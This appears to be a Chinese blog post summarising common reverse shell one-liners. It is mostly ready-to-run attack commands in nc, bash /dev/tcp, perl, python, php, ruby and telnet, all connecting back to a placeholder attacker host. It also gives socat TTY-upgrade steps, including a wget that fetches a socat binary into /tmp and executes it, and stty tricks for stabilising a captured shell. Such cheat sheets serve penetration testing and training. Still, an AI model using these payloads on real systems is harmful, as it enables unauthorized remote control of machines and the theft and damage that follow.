常见反弹shell总结

1、nc
  • 发送方式一:nc -e /bin/sh 10.0.0.1 1234
  • 发送方式二:nc 10.0.0.1 1234 -c /bin/bash
  • 接收:nc -nlvp 1234
2、bash:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
3、perl:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • 不依赖于/bin/sh:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  • windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
4、python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
5、php:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
6、ruby:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • 不依赖/bin/sh
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  • windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
7、netcat:
nc -e /bin/sh 10.0.0.1 1234  #不同版本的nc不一定支持-e选项
  • 不能使用 -e:
mknod backpipe p && nc 10.0.0.1 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc 10.0.0.1 4444
rm -f /tmp/p; mknod /tmp/p p && nc 10.0.0.1 4444 0/tmp/
  • 如果安装的nc的版本有问题:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
8、telnet:(非常的不常用):
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe



(1)python 获得交互shell
python -c "import pty;pty.spawn('/bin/bash')"
(2)socat获得完整的tty
  • 反弹方:socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:ip:端口
  • 接收方:socat file:tty,raw,echo=0 tcp-listen:4444

注意:当反弹方没有socat时,可以直接下载:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash - li',pty,stderr,setsid,sigint,sane tcp:ip:端口 nc

举例例如:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash - li',pty,stderr,setsid,sigint,sane tcp:192.168.157.124:8888 
(3)使用stty选项:
    # In reverse shell
	$ python -c 'import pty; pty.spawn("/bin/bash")'
	Ctrl-Z
	# In Kali
	$ stty raw -echo
	$ fg
	# In reverse shell
	$ reset
	$ export SHELL=bash
	$ export TERM=xterm-256color
	$ stty rows <num> columns <cols>
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值